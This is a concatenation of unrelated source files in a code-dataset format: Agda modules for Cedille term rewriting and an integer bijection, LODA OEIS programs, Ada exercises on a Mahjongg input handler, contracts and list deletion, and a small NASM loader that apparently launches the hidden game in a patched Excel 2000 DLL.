DZ "flagsdefine detected"
ENDIF
ALIGN
DB "E"
|
src/rewriting.agda | xoltar/cedille | 0 | 10322 | module rewriting where
open import lib
open import cedille-types
open import conversion
open import ctxt
open import general-util
open import is-free
open import lift
open import rename
open import subst
open import syntax-util
private
mk-phi : var → (eq t t' : term) → term
mk-phi x eq t t' =
Phi posinfo-gen
(Rho posinfo-gen RhoPlain NoNums eq
(Guide posinfo-gen x (TpEq posinfo-gen t t' posinfo-gen))
(Beta posinfo-gen (SomeTerm t posinfo-gen) (SomeTerm id-term posinfo-gen)))
t t' posinfo-gen
head-types-match : ctxt → trie term → (complete partial : type) → 𝔹
head-types-match Γ σ (TpApp T _) (TpApp T' _) = conv-type Γ T (substs Γ σ T')
head-types-match Γ σ (TpAppt T _) (TpAppt T' _) = conv-type Γ T (substs Γ σ T')
head-types-match Γ σ T T' = tt
rewrite-t : Set → Set
rewrite-t T = ctxt → (is-plus : 𝔹) → (nums : maybe stringset) →
(eq left : term) → (right : var) → (total-matches : ℕ) →
T {- Returned value -} ×
ℕ {- Number of rewrites actually performed -} ×
ℕ {- Total number of matches, including skipped ones -}
infixl 4 _≫rewrite_
_≫rewrite_ : ∀ {A B : Set} → rewrite-t (A → B) → rewrite-t A → rewrite-t B
(f ≫rewrite a) Γ op on eq t₁ t₂ n with f Γ op on eq t₁ t₂ n
...| f' , n' , sn with a Γ op on eq t₁ t₂ sn
...| b , n'' , sn' = f' b , n' + n'' , sn'
rewriteR : ∀ {A : Set} → A → rewrite-t A
rewriteR a Γ op on eq t₁ t₂ n = a , 0 , n
{-# TERMINATING #-}
rewrite-term : term → rewrite-t term
rewrite-terma : term → rewrite-t term
rewrite-termh : term → rewrite-t term
rewrite-type : type → rewrite-t type
rewrite-typeh : type → rewrite-t type
rewrite-kind : kind → rewrite-t kind
rewrite-tk : tk → rewrite-t tk
rewrite-liftingType : liftingType → rewrite-t liftingType
rewrite-rename-var : ∀ {A} → var → (var → rewrite-t A) → rewrite-t A
rewrite-rename-var x r Γ op on eq t₁ t₂ n =
let x' = rename-var-if Γ (renamectxt-insert empty-renamectxt t₂ t₂) x t₁ in
r x' Γ op on eq t₁ t₂ n
rewrite-abs : ∀ {ed} → var → var → (⟦ ed ⟧ → rewrite-t ⟦ ed ⟧) → ⟦ ed ⟧ → rewrite-t ⟦ ed ⟧
rewrite-abs x x' g a Γ = let Γ = ctxt-var-decl x' Γ in g (rename-var Γ x x' a) Γ
rewrite-term t Γ op on eq t₁ t₂ sn =
case rewrite-terma (erase-term t) Γ op on eq t₁ t₂ sn of λ where
(t' , 0 , sn') → t , 0 , sn'
(t' , n , sn') → mk-phi t₂ eq t t' , n , sn'
rewrite-terma t Γ op on eq t₁ t₂ sn =
case conv-term Γ t₁ t of λ where
tt → case on of λ where
(just ns) → case trie-contains ns (ℕ-to-string (suc sn)) of λ where
tt → Var posinfo-gen t₂ , 1 , suc sn -- ρ nums contains n
ff → t , 0 , suc sn -- ρ nums does not contain n
nothing → Var posinfo-gen t₂ , 1 , suc sn
ff → case op of λ where
tt → case rewrite-termh (hnf Γ unfold-head t tt) Γ op on eq t₁ t₂ sn of λ where
(t' , 0 , sn') → t , 0 , sn' -- if no rewrites were performed, return the pre-hnf t
(t' , n' , sn') → t' , n' , sn'
ff → rewrite-termh t Γ op on eq t₁ t₂ sn
rewrite-termh (App t e t') =
rewriteR App ≫rewrite rewrite-terma t ≫rewrite rewriteR e ≫rewrite rewrite-terma t'
rewrite-termh (Lam pi NotErased pi' y NoClass t) =
rewrite-rename-var y λ y' → rewriteR (Lam pi NotErased pi' y' NoClass) ≫rewrite
rewrite-abs y y' rewrite-terma t
rewrite-termh (Var pi x) = rewriteR (Var pi x)
rewrite-termh = rewriteR
rewrite-type T Γ tt on eq t₁ t₂ sn
with rewrite-typeh (hnf Γ unfold-head-no-lift T tt) Γ tt on eq t₁ t₂ sn
...| T' , 0 , sn' = T , 0 , sn'
...| T' , n , sn' = T' , n , sn'
rewrite-type = rewrite-typeh
rewrite-typeh (Abs pi b pi' x atk T) =
rewrite-rename-var x λ x' →
rewriteR (Abs pi b pi' x') ≫rewrite rewrite-tk atk ≫rewrite
rewrite-abs x x' rewrite-type T
rewrite-typeh (Iota pi pi' x T T') =
rewrite-rename-var x λ x' →
rewriteR (Iota pi pi' x') ≫rewrite rewrite-type T ≫rewrite
rewrite-abs x x' rewrite-type T'
rewrite-typeh (Lft pi pi' x t l) =
rewrite-rename-var x λ x' →
rewriteR (Lft pi pi' x') ≫rewrite
rewrite-abs x x' rewrite-term t ≫rewrite
rewrite-liftingType l
rewrite-typeh (TpApp T T') =
rewriteR TpApp ≫rewrite rewrite-typeh T ≫rewrite rewrite-type T'
rewrite-typeh (TpAppt T t) =
rewriteR TpAppt ≫rewrite rewrite-typeh T ≫rewrite rewrite-term t
rewrite-typeh (TpEq pi t₁ t₂ pi') =
rewriteR (TpEq pi) ≫rewrite rewrite-term t₁ ≫rewrite
rewrite-term t₂ ≫rewrite rewriteR pi'
rewrite-typeh (TpLambda pi pi' x atk T) =
rewrite-rename-var x λ x' →
rewriteR (TpLambda pi pi' x') ≫rewrite rewrite-tk atk ≫rewrite
rewrite-abs x x' rewrite-type T
rewrite-typeh (TpArrow T a T') =
rewriteR TpArrow ≫rewrite rewrite-type T ≫rewrite rewriteR a ≫rewrite rewrite-type T'
rewrite-typeh (TpLet pi (DefTerm pi' x T t) T') Γ =
rewrite-type (subst Γ (Chi posinfo-gen T t) x T') Γ
rewrite-typeh (TpLet pi (DefType pi' x k T) T') Γ =
rewrite-type (subst Γ T x T') Γ
rewrite-typeh (TpParens _ T _) = rewrite-type T
rewrite-typeh (NoSpans T _) = rewrite-type T
rewrite-typeh (TpHole pi) = rewriteR (TpHole pi)
rewrite-typeh (TpVar pi x) = rewriteR (TpVar pi x)
-- If we ever implement kind-level rewriting, we will need to go through
-- all the types of kind pi binding a term or type-to-kind arrow
-- if the right-hand side variable is free in the types of the bound variable,
-- and substitute each occurence of the term variable (eta-expanding if necessary)
-- in the body of the type with itself surrounded by a rewrite back the original
-- expected type (unless we lifted a term, then it gets really tricky because
-- we may not want to rewrite back?).
rewrite-kind = rewriteR
rewrite-liftingType = rewriteR
rewrite-tk (Tkt T) = rewriteR Tkt ≫rewrite rewrite-type T
rewrite-tk (Tkk k) = rewriteR Tkk ≫rewrite rewrite-kind k
post-rewriteh : ctxt → var → term → (ctxt → var → term → tk → tk) → (var → tk → ctxt → ctxt) → type → type × kind
post-rewriteh Γ x eq prtk tk-decl (Abs pi b pi' x' atk T) =
let atk' = prtk Γ x eq atk in
Abs pi b pi' x' atk' (fst (post-rewriteh (tk-decl x' atk' Γ) x eq prtk tk-decl T)) , star
post-rewriteh Γ x eq prtk tk-decl (Iota pi pi' x' T T') =
let T = fst (post-rewriteh Γ x eq prtk tk-decl T) in
Iota pi pi' x' T (fst (post-rewriteh (tk-decl x' (Tkt T) Γ) x eq prtk tk-decl T')) , star
post-rewriteh Γ x eq prtk tk-decl (Lft pi pi' x' t lT) =
Lft pi pi' x' t lT , liftingType-to-kind lT
post-rewriteh Γ x eq prtk tk-decl (TpApp T T') =
flip uncurry (post-rewriteh Γ x eq prtk tk-decl T') λ T' k' →
flip uncurry (post-rewriteh Γ x eq prtk tk-decl T) λ where
T (KndPi pi pi' x' atk k) → TpApp T T' , hnf Γ unfold-head-no-lift (subst Γ T' x' k) tt
T (KndArrow k k'') → TpApp T T' , hnf Γ unfold-head-no-lift k'' tt
T k → TpApp T T' , k
post-rewriteh Γ x eq prtk tk-decl (TpAppt T t) =
let t2 T' = if is-free-in check-erased x T' then Rho posinfo-gen RhoPlain NoNums eq (Guide posinfo-gen x T') t else t in
flip uncurry (post-rewriteh Γ x eq prtk tk-decl T) λ where
T (KndPi pi pi' x' (Tkt T') k) →
let t3 = t2 T' in TpAppt T t3 , hnf Γ unfold-head-no-lift (subst Γ t3 x' k) tt
T (KndTpArrow T' k) → TpAppt T (t2 T') , hnf Γ unfold-head-no-lift k tt
T k → TpAppt T t , k
post-rewriteh Γ x eq prtk tk-decl (TpArrow T a T') = TpArrow (fst (post-rewriteh Γ x eq prtk tk-decl T)) a (fst (post-rewriteh Γ x eq prtk tk-decl T')) , star
post-rewriteh Γ x eq prtk tk-decl (TpLambda pi pi' x' atk T) =
let atk' = prtk Γ x eq atk in
flip uncurry (post-rewriteh (tk-decl x' atk' Γ) x eq prtk tk-decl T) λ T k →
TpLambda pi pi' x' atk' T , KndPi pi pi' x' atk' k
post-rewriteh Γ x eq prtk tk-decl (TpParens pi T pi') = post-rewriteh Γ x eq prtk tk-decl T
post-rewriteh Γ x eq prtk tk-decl (TpVar pi x') with env-lookup Γ x'
...| just (type-decl k , _) = mtpvar x' , hnf Γ unfold-head-no-lift k tt
...| just (type-def nothing _ T k , _) = mtpvar x' , hnf Γ unfold-head-no-lift k tt
...| just (type-def (just ps) _ T k , _) = mtpvar x' , abs-expand-kind ps (hnf Γ unfold-head-no-lift k tt)
...| _ = mtpvar x' , star
post-rewriteh Γ x eq prtk tk-decl T = T , star
{-# TERMINATING #-}
post-rewrite : ctxt → var → (eq t₂ : term) → type → type
post-rewrite Γ x eq t₂ T = subst Γ t₂ x (fst (post-rewriteh Γ x eq prtk tk-decl T)) where
prtk : ctxt → var → term → tk → tk
tk-decl : var → tk → ctxt → ctxt
prtk Γ x t (Tkt T) = Tkt (fst (post-rewriteh Γ x t prtk tk-decl T))
prtk Γ x t (Tkk k) = Tkk (hnf Γ unfold-head-no-lift k tt)
tk-decl x atk (mk-ctxt mod ss is os d) =
mk-ctxt mod ss (trie-insert is x (h atk , "" , "")) os d where
h : tk → ctxt-info
h (Tkt T) = term-decl T
h (Tkk k) = type-decl k
-- Functions for substituting the type T in ρ e @ x . T - t
{-# TERMINATING #-}
rewrite-at : ctxt → var → term → 𝔹 → type → type → type
rewrite-ath : ctxt → var → term → 𝔹 → type → type → type
rewrite-at-tk : ctxt → var → term → 𝔹 → tk → tk → tk
rewrite-at-tk Γ x eq b (Tkt T) (Tkt T') = Tkt (rewrite-at Γ x eq b T T')
rewrite-at-tk Γ x eq b atk atk' = atk
rewrite-at Γ x eq b T T' =
if ~ is-free-in tt x T'
then T
else if b && ~ head-types-match Γ (trie-single x (Hole posinfo-gen)) T T'
then rewrite-ath Γ x eq ff (hnf Γ unfold-head-no-lift T tt) (hnf Γ unfold-head-no-lift T' tt)
else rewrite-ath Γ x eq b T T'
rewrite-ath Γ x eq b (Abs pi1 b1 pi1' x1 atk1 T1) (Abs pi2 b2 pi2' x2 atk2 T2) =
Abs pi1 b1 pi1' x1 (rewrite-at-tk Γ x eq tt atk1 atk2) (rewrite-at (ctxt-var-decl x1 Γ) x eq b T1 (rename-var Γ x2 x1 T2))
rewrite-ath Γ x eq b (Iota pi1 pi1' x1 T1 T1') (Iota pi2 pi2' x2 T2 T2') =
Iota pi1 pi1' x1 (rewrite-at Γ x eq tt T1 T2) (rewrite-at (ctxt-var-decl x1 Γ) x eq b T1' (rename-var Γ x2 x1 T2'))
rewrite-ath Γ x eq b (Lft pi1 pi1' x1 t1 lT1) (Lft pi2 pi2' x2 t2 lT2) =
Lft pi1 pi1' x1 (if is-free-in tt x (mlam x2 t2) then mk-phi x eq t1 t2 else t1) lT1
rewrite-ath Γ x eq b (TpApp T1 T1') (TpApp T2 T2') =
TpApp (rewrite-at Γ x eq b T1 T2) (rewrite-at Γ x eq b T1' T2')
rewrite-ath Γ x eq b (TpAppt T1 t1) (TpAppt T2 t2) =
TpAppt (rewrite-at Γ x eq b T1 T2) (if is-free-in tt x t2 then mk-phi x eq t1 t2 else t1)
rewrite-ath Γ x eq b (TpArrow T1 a1 T1') (TpArrow T2 a2 T2') =
TpArrow (rewrite-at Γ x eq tt T1 T2) a1 (rewrite-at Γ x eq tt T1' T2')
rewrite-ath Γ x eq b (TpEq pi1 t1 t1' pi1') (TpEq pi2 t2 t2' pi2') =
TpEq pi1 t2 t2' pi1'
rewrite-ath Γ x eq b (TpLambda pi1 pi1' x1 atk1 T1) (TpLambda pi2 pi2' x2 atk2 T2) =
TpLambda pi1 pi1' x1 (rewrite-at-tk Γ x eq tt atk1 atk2) (rewrite-at (ctxt-var-decl x1 Γ) x eq b T1 (rename-var Γ x2 x1 T2))
rewrite-ath Γ x eq b (TpLet pi1 (DefTerm pi1' x1 oc1 t1) T1) T2 = rewrite-at Γ x eq b (subst Γ t1 x1 T1) T2
rewrite-ath Γ x eq b T1 (TpLet pi2 (DefTerm pi2' x2 oc2 t2) T2) = rewrite-at Γ x eq b T1 (subst Γ t2 x2 T2)
rewrite-ath Γ x eq b (TpLet pi1 (DefType pi1' x1 k1 T1ₗ) T1) T2 = rewrite-at Γ x eq b (subst Γ T1ₗ x1 T1) T2
rewrite-ath Γ x eq b T1 (TpLet pi2 (DefType pi2' x2 k2 T2ₗ) T2) = rewrite-at Γ x eq b T1 (subst Γ T2ₗ x2 T2)
rewrite-ath Γ x eq b (TpVar pi1 x1) (TpVar pi2 x2) = TpVar pi1 x1
rewrite-ath Γ x eq b (TpHole pi1) (TpHole pi2) = TpHole pi1
rewrite-ath Γ x eq b (TpParens pi1 T1 pi1') T2 = rewrite-at Γ x eq b T1 T2
rewrite-ath Γ x eq b T1 (TpParens pi2 T2 pi2') = rewrite-at Γ x eq b T1 T2
rewrite-ath Γ x eq b (NoSpans T1 pi1) T2 = rewrite-at Γ x eq b T1 T2
rewrite-ath Γ x eq b T1 (NoSpans T2 pi2) = rewrite-at Γ x eq b T1 T2
rewrite-ath Γ x eq tt T1 T2 = rewrite-at Γ x eq ff (hnf Γ unfold-head-no-lift T1 tt) (hnf Γ unfold-head-no-lift T2 tt)
rewrite-ath Γ x eq ff T1 T2 = T1
|
Int.agda | nickcollins/dependent-dicts-agda | 0 | 2916 | <reponame>nickcollins/dependent-dicts-agda<filename>Int.agda
open import Prelude
open import Nat
open import Bij
module Int where
data Int : Set where
+_ : Nat → Int
-[1+_] : Nat → Int
int→nat : Int → Nat
int→nat (+ n) = 1+ (n + n)
int→nat -[1+ n ] = n + n
int→nat:inj : ∀{m n} →
int→nat m == int→nat n →
m == n
int→nat:inj {+ m} {+ n} eq rewrite even-inj {m} {n} (1+inj eq) = refl
int→nat:inj {+ m} { -[1+ n ]} eq = abort (even-not-odd {m} {n} eq)
int→nat:inj { -[1+ m ]} {+ n} eq = abort (even-not-odd {n} {m} (! eq))
int→nat:inj { -[1+ m ]} { -[1+ n ]} eq rewrite even-inj {m} {n} eq = refl
int→nat:surj : (n : Nat) → Σ[ m ∈ Int ] (int→nat m == n)
int→nat:surj Z = -[1+ Z ] , refl
int→nat:surj (1+ Z) = (+ Z) , refl
int→nat:surj (1+ (1+ n)) with int→nat:surj n
int→nat:surj (1+ (1+ .(1+ (n + n)))) | (+ n) , refl = (+ 1+ n) , 1+ap (1+ap n+1+m==1+n+m)
int→nat:surj (1+ (1+ .(n + n))) | -[1+ n ] , refl = -[1+ 1+ n ] , 1+ap n+1+m==1+n+m
instance
IntBij : bij Int Nat
IntBij = record {
convert = int→nat;
inj = int→nat:inj;
surj = int→nat:surj}
|
oeis/006/A006491.asm | neoneye/loda-programs | 11 | 101489 | <reponame>neoneye/loda-programs
; A006491: Generalized Lucas numbers.
; 1,0,4,5,15,28,60,117,230,440,834,1560,2891,5310,9680,17527,31545,56468,100590,178395,315106,554530,972564,1700400,2964325,5153868,8938300,15465497,26700915,46004620,79112304,135801105,232715006,398151740,680164470,1160259912,1976536655,3362733738,5714071880,9698177515,16441808061,27844934660,47108654274,79621871895,134449546810,226828970758,382354164840,643985657952,1083786390025,1822558858200,3062684743924,5143013746925,8630558088471,14473595373820,24257180351460,40629363701997,68011840221590
mov $1,2
mov $2,$0
seq $0,6367 ; Number of binary vectors of length n+1 beginning with 0 and containing just 1 singleton.
add $1,$2
mul $1,$0
div $1,2
mov $0,$1
|
loader.asm | jeffli678/excel2000-devhunter-loader | 7 | 2219 | %include 'pe.inc'
PE32
; Data declarations here
BYTE Dll, "MSOWC-patched.DLL",0
; this will cause the exe to be as large as 1MB
; BYTE Empty_class[0x100000]
START
; instructions
push ecx
push edx
; mov ecx, VA(Empty_class)
; the following code is equivalent to this x64dbg command:
; eip = 3c7dc946; push 7fa87860; push 0; push 3c6d0000; push 0; alloc 0x100000; ecx = $result; go;
; PAGE_READWRITE
push 0x4
; MEM_COMMIT
push 0x1000
; size
push 0x100000
push 0
call [VA(VirtualAlloc)]
mov edx, eax
; zero the allocated page
mov edi, eax
xor eax, eax
mov ecx, 0x40000
stosd
mov ecx, edx
push VA(Dll)
call [VA(LoadLibraryA)]
; this is a magic constant
; change it can give your car a different color
push 0x7fa87860
push 0
push eax
add eax, 0x10c946
call eax
pop edx
pop ecx
ret
; data directories here
IMPORT
LIB kernel32.dll
FUNC LoadLibraryA
FUNC VirtualAlloc
ENDLIB
ENDIMPORT
END
; Compile
; nasm -f bin -o loader.exe loader.asm |
programs/oeis/060/A060145.asm | karttu/loda | 0 | 15436 | <filename>programs/oeis/060/A060145.asm
; A060145: a(n) = floor(n/tau) - floor(n/(1 + tau)).
; 0,0,1,0,1,2,1,2,1,2,3,2,3,4,3,4,3,4,5,4,5,4,5,6,5,6,7,6,7,6,7,8,7,8,9,8,9,8,9,10,9,10,9,10,11,10,11,12,11,12,11,12,13,12,13,12,13,14,13,14,15,14,15,14,15,16,15,16,17,16,17,16,17,18,17,18,17,18,19,18,19,20,19,20,19,20,21,20,21,22,21,22,21,22,23,22,23,22,23,24,23,24,25,24,25,24,25,26,25,26,25,26,27,26,27,28,27,28,27,28,29,28,29,30,29,30,29,30,31,30,31,30,31,32,31,32,33,32,33,32,33,34,33,34,33,34,35,34,35,36,35,36,35,36,37,36,37,38,37,38,37,38,39,38,39,38,39,40,39,40,41,40,41,40,41,42,41,42,43,42,43,42,43,44,43,44,43,44,45,44,45,46,45,46,45,46,47,46,47,46,47,48,47,48,49,48,49,48,49,50,49,50,51,50,51,50,51,52,51,52,51,52,53,52,53,54,53,54,53,54,55,54,55,56,55,56,55,56,57,56,57,56,57,58,57,58,59,58,59,58
trn $0,1
cal $0,339765 ; a(n) = 2*floor(n*phi) - 3*n, where phi = (1+sqrt(5))/2.
add $0,1
mov $1,$0
|
tools/scitools/sample/mahjongg/input_ln.adb | brucegua/moocos | 1 | 1557 | <filename>tools/scitools/sample/mahjongg/input_ln.adb
WITH TileADT, Text_IO;
PACKAGE BODY Input_Line IS
--
-- IMPLEMENTATION of Input_Line ADT
--
-- Maintenance Note
-- To add or modify commands, you'll need to change:
-- Case statement in Get_Command
-- enumerated type Command in specification
-- Legal_Commands constant in specification
TYPE Move is RECORD -- an abstraction for a MOVE
Col1: TileADT.Col;
Row1: TileADT.Row;
Col2: TileADT.Col;
Row2: TileADT.Row;
END RECORD;
The_Line : STRING (1..80); -- The user's input stored here by Get
Line_Length : NATURAL; -- Number of characters read
FUNCTION Char_to_Int (Letter: CHARACTER) RETURN INTEGER IS
-- Purpose: Local function to convert a digit to an integer
-- Assumes: Letter is in range '0' to '9'
-- Returns: Integer equivalent of digit.
BEGIN
RETURN CHARACTER'POS(Letter) - CHARACTER'POS('0');
END Char_to_Int;
FUNCTION Convert_to_Move RETURN Move IS
-- Purpose: Local function to convert the user input into a move.
-- Assumes: IsMove is true.
-- Returns: a move.
BEGIN
RETURN ( The_Line(1),
Char_to_Int(The_Line(2)),
The_Line(3),
Char_to_Int(The_Line(4)) );
END Convert_to_Move;
-------------------------------------------------------------------------------
PROCEDURE Get IS
-- Purpose: A line of user's input (terminated by Enter) is read from keyboard.
-- Assumes: At least one character must be typed.
-- Exception: Constraint Error is raised if length > 80.
BEGIN
Text_IO.Get_Line ( The_Line, Line_Length);
END Get;
FUNCTION IsCommand RETURN BOOLEAN IS
-- Purpose: Determine if the user's input was a legal command.
-- Assumes: Get has been completed.
-- Returns: TRUE if only a single character was entered and it's a legal command
-- (More than one character will be assumed to be a move, not a command.)
BEGIN
RETURN Line_Length = 1;
END IsCommand;
FUNCTION IsMove RETURN BOOLEAN IS
-- Purpose: Determine if the user's input was a move (2 board locations).
-- E.g., D3H8
-- Assumes: Get has been completed.
-- Returns: TRUE if user input is syntactically correct for a move.
-- Returns FALSE if
-- a) columns are not valid COL type
-- b) rows are not valid ROW type
-- c) length of user input /= 4
BEGIN
RETURN Line_Length = 4;
END IsMove;
FUNCTION Get_Command RETURN Command IS
-- Purpose: Converts the user input into a value of command type.
-- Assumes: Get has been completed, and Is_Command is TRUE.
-- Returns: the command type value corresponding to user's input.
-- This implementation assumes the letters in Legal_Commands are in same order
-- as corresponding values in Commands enumerated type.
BEGIN
IF The_Line(1) = 'Q' THEN
RETURN Quit;
ELSE
RETURN Load;
END IF;
END Get_Command;
FUNCTION Validate_Move RETURN BOOLEAN IS
-- Purpose: Determine if the users_input is really a valid move. I.e., the
-- tiles are matching and removable.
-- Assumes: Get has been completed, and Is_Move is true.
-- Return: TRUE if it is a valid move.
-- Otherwise, display error and return FALSE.
-- USED BY: Take_Turn
-- Note: Valid move means
-- 1) both locations really contain a tile
-- 2) both tiles can match and can be removed
-- 3) the tiles are in two different locations (they aren't
-- the same tile).
BEGIN
RETURN TRUE;
END Validate_Move;
-------------------------------------------------------------------------------
PROCEDURE Make_Move IS
-- Purpose: Process the player's move, remove the tiles from the board.
-- Take the two matching tiles off the board and update the screen
-- Assumes: Validate_Move is TRUE.
-- Returns: nothing. The Board and screen are updated.
-- USED BY: Take_Turn
-- PSEUDOCODE:
-- Reset hints.
-- Remove the matching tiles from the board.
-- display the updated board.
-- Decrement tiles remaining.
-- add tiles to move history.
-- If no tiles left, display win message.
BEGIN
null;
END Make_Move;
--------------------------------------------------------------------------------
PROCEDURE Undo_Move IS
-- PURPOSE: Restore a pair of tiles to the board that were just removed.
-- Pop a move off the stack and return those two tiles to the board.
-- Update the display and # tiles remaining.
-- Assumes: nothing.
-- Returns: nothing. The most recent move is "undone" and the board
-- and screen restored to their previous state.
-- Note: Undo can be invoked multiple times, backing up until the
-- board is in it's original state.
--
-- USED BY: Dispatch_Command
--
BEGIN
null;
END Undo_Move;
END Input_Line;
|
conditions.adb | charlesincharge/Intro_to_Ada | 0 | 27553 | with Ada.Text_IO; use Ada.Text_IO;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
procedure Conditions is
-- Enable preconditions and postconditinos.
pragma Assertion_Policy(Check);
-- Trivial example of a post-condition
function Increment (x : Integer) return Integer
with Post => Increment'Result = (x + 1);
-- Precondition checking that Integer division without roundoff is possible
procedure Integer_Division (Num : Integer;
Den : Integer;
Res : out Integer)
with Pre => (Num rem Den) = 0;
function Increment (x : Integer) return Integer is
begin
return (x + 1);
end Increment;
procedure Integer_Division (Num : Integer;
Den : Integer;
Res : out Integer) is
begin
Res := Num / Den;
end Integer_Division;
x : Integer := 10;
y : Integer := 3;
Res : Integer;
begin
Put ("The value of x is "); Put (x, 0); Put_Line (".");
Put ("The value of Increment (x) is "); Put (Increment (x), 0); Put_Line (".");
Put ("Trying to divide "); Put (x, 0); Put (" by "); Put (y,0); Put_Line (".");
-- Precondition will fail for `Integer_Division`
Integer_Division (x, y, Res);
Put ("The result is "); Put (Res, 0); Put_Line (".");
end Conditions;
|
lib/parsei.asm | argymouz/alan-compiler | 0 | 96261 | <filename>lib/parsei.asm<gh_stars>0
; function parseInteger (var buffer : array of char; p : ^integer;
; base : byte) : byte
; ----------------------------------------------------------------
; This procedure parses an integer number. It ignores leading
; spaces and returns the number of characters read.
; parse an integer from buffer, store the read integer in the address pointed to by p, and use the base encoding in base to do so
;KNOWN BUGS:
; - at the moment, we only parse decimal numbers...
section .code
global _parseInteger
_parseInteger:
push rbp
mov rbp, rsp
push rdi ;push non-volatile regs
push rsi
xor rax, rax ;number of chars read
xor r9, r9 ;temp result storage
mov r11b, 0 ;sign flag (perhaps an entire reg is too much?)
.ignoreWhiteSpace:
cmp byte [rdi], 0x20
jnz .readSign
inc rdi
jmp .ignoreWhiteSpace
.readSign:
cmp byte [rdi], 0x2d
jnz .readDec
mov r11b, 1
inc rdi
.readDec:
cmp byte [rdi], 0x30
jl .applySign
cmp byte [rdi], 0x39
jg .applySign
mov r10b, byte [rdi]
sub r10b, 0x30
and r10,0xff
imul r9, 10
add r9, r10
cmp r9w, 0x8000
ja .overflow
inc rax
jmp .nextChar
.nextChar:
inc rdi
jmp .readDec
.applySign:
cmp r11b, 1
jne .checkPosOver
cmp r9w, 0x8000
je .finish
neg r9w
jmp .finish
.checkPosOver:
cmp r9w, 0x7fff
jbe .finish
.overflow:
mov r9, 0x00
mov rax, -1
.finish:
pop rsi
mov word [rsi], r9w
pop rdi
pop rbp
ret
|
scripts/music/en/likeTrack.applescript | dnedry2/vscode-itunes | 16 | 4643 | <filename>scripts/music/en/likeTrack.applescript
if application "Music" is running then
tell application "Music"
set loved of current track to true
end tell
end if
|
ejercicios6/prueba_eliminar_todas_las_apariciones.adb | iyan22/AprendeAda | 0 | 30567 | with Ada.Text_Io, Datos;
with Crear_Lista_Vacia, Ins, Esc,
Eliminar_Todas_Las_Apariciones;
use Datos;
use Ada.Text_Io;
procedure Prueba_Eliminar_Todas_Las_Apariciones is
Lis : Lista; -- variable del programa principal
procedure Pedir_Return is
begin
Put_Line("pulsa return para continuar ");
Skip_Line;
end Pedir_Return;
begin -- programa principal
-- Casos de prueba:
-- 1. Eliminar en la lista vacia. Resultado: lista vacia
-- 2. Eliminar en lista no vacia.
-- 2.1 Un elemento que no esta en la lista. Resultado: lista inicial
-- 2.2 Eliminar un elemento que si esta en la lista
-- 2.2.1 Lista de un solo elemento. Resultado: lista vacia
-- 2.2.2 Lista de mas de un elemento. Eliminar en el medio.
-- 2.2.3 Lista de mas de un elemento. Eliminar el ultimo.
-- 2.2.4 Lista de mas de un elemento. El valor aparece en
-- sitios diferentes.
-- 2.2.5 Lista de mas de un elemento. Todos los elementos
-- iguales.
Put_Line("Programa de prueba: ");
Put_Line("*********");
Crear_Lista_Vacia(Lis);
Put_Line("Caso de prueba 1: Eliminar en la lista vacia ");
Eliminar_Todas_Las_Apariciones(Lis, 5);
Put_Line("Ahora deberia Esc la lista vacia: ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 4);
Ins(Lis, 9);
Ins(Lis, 7);
Ins(Lis, 5);
Put_Line("Caso de prueba 2.1: valor que no esta en la lista.");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 8)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 8);
Put_Line("Ahora deberia escribir la lista <5, 7, 9, 4> ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 8);
Put("Caso de prueba 2.2.1: Valor que si esta en la lista. ");
Put_Line("Lista de un solo elemento");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 8)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 8);
Put_Line("Ahora deberia escribir la lista vacia: ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 8);
Ins(Lis, 10);
Ins(Lis, 12);
Put_Line(
"Caso de prueba 2.2.2: Valor que si esta en la lista.");
Put_Line(
" Lista con mas de un elemento. Eliminar en medio.");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 10)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 10);
Put_Line("Ahora deberia escribir la lista <12, 8> ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 12);
Ins(Lis, 10);
Ins(Lis, 8);
Put_Line(
"Caso de prueba 2.2.3: Valor que si esta en la lista.");
Put_Line(
" Lista con mas de un elemento. Eliminar el ultimo.");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 12)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 12);
Put_Line("Ahora deberia escribir la lista <8, 10> ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 8);
Ins(Lis, 10);
Ins(Lis, 12);
Ins(Lis, 12);
Ins(Lis, 7);
Ins(Lis, 9);
Ins(Lis, 9);
Ins(Lis, 12);
Put_Line(
"Caso de prueba 2.2.4: Valor que si esta en la lista.");
Put_Line(" Lista con mas de un elemento. Valor repetido");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 12)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 12);
Put_Line("Ahora deberia escribir la lista <9, 9, 7, 10, 8> ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Crear_Lista_Vacia(Lis);
Ins(Lis, 12);
Ins(Lis, 12);
Ins(Lis, 12);
Put_Line(
"Caso de prueba 2.2.5: Valor que si esta en la lista.");
Put(" Lista con mas de un elemento. ");
Put_Line(" Todos los elementos de la lista iguales");
Put_Line("Llamada a: Eliminar_Todas_Las_Apariciones(Lis, 12)");
Put_Line("La lista inicial contiene ");
Esc(Lis);
Eliminar_Todas_Las_Apariciones(Lis, 12);
Put_Line("Ahora deberia escribir la lista vacia: ");
Esc(Lis);
New_Line;
New_Line;
Pedir_Return;
Put_Line("Se acabo la prueba. Agur ");
end Prueba_Eliminar_Todas_Las_Apariciones;
|
